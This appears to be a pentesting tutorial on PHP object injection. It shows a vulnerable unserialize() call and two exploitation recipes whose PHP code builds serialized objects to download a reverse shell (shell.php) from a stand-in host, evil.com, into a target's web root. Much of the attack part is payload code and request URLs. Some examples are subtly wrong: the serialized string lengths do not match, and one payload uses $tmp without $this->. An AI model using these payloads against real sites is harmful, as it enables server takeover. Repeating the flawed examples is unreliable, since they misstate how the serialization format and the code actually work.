PHP Object Injection
PHP Object Injection is a type of vulnerability that can occur when untrusted user input is deserialized in a PHP application.
- [PHP_Object_Injection](https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection)
- [PHP serialization](https://github.com/R0B1NL1N/PayloadsAllTheThings/blob/master/PHP serialization/README.md)
Investigation
Below is an example of an index.php
in PHP web application.
<?php
class Example {
public $file = 'example.txt';
public $msg = 'Hello World';
public function SomeFunc() {
// Some code ...
}
public function __destruct() {
file_put_contents(__DIR__ . '/' . $this->file,$this->msg,FILE_APPEND);
}
}
$data = unserialize($_GET['data']);
// Some code ...
?>
This code adds a text file named example.txt
, that contains "Hello World" strings, into the web root directory. If the "data" parameter (/?data=...
) is given, this value will be unserialized by unserialize()
method.
In short, we can inject the serialized malicious code to the value of the data
parameter.
Then access to https://example.com/?data=<serialized_code_here>
then our arbitrary code will be executed.
For example,
http://example.com/?data=O:8:"Example":1:{s:10:"msg";s:15:"<?php system('wget http://evil.com:8000/shell.php -O shell.php'); ?>";}
Exploitation 1
Assumes the above situation (”index.php” in the “Investigation” section).
We generate the serialized data and inject it to the “data” parameter.
1. Generate a Serialized Malicious Object
Create a malicious “Example” class contains __destruct()
method in PHP.
This script add the “download.php”, which downloads a PHP reverse shell script, into the web root directory. Then prints the URL encoded serialized “Example” class.
Replace <local-ip>
with your local ip address.
<?php
class Example {
public $file = 'download.php';
public $msg = "<?php system('wget http://<local-ip>:8000/shell.php -O shell.php'); ?>";
public function SomeFunc() {
// Some code ...
}
public function __destruct() {
file_put_contents(__DIR__ . '/' . $this->file,$this->msg,FILE_APPEND);
}
}
print urlencode(serialize(new Example));
?>
Then generate a deserialized data.
Copy the output data.
2. Download a Reverse Shell Script.
In local machine, start local web server where the PHP reverse shell script located.
Now access to https://example.com/?data=<serialized_data_here>
.
http://example.com/?data=O:8:"Example":1:{s:10:"msg";s:15:"<?php system('wget http://evil.com:8000/shell.php -O shell.php'); ?>";}
By this, our PHP reverse shell script is download to the target web root (e.g. https://example.com/shell.php
).
Exploitation 2
First off, prepare the reverse shell script (shell.php
) in local machine and start web server.
Then create a maliciou payload as follow.
<?php
class Example {
public $tmp = "http://evil.com/shell.php";
public $imgPath = "./shell.php";
public function __wakeup() {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
$payload = base64_encode(serialize(new Example));
echo $payload;
?>
Now run it in terminal.
Copy the output and paste it to where the payload affects.
Automation
PHPGGC is a library of PHP unserialize()
payloads along with a tool to generate them.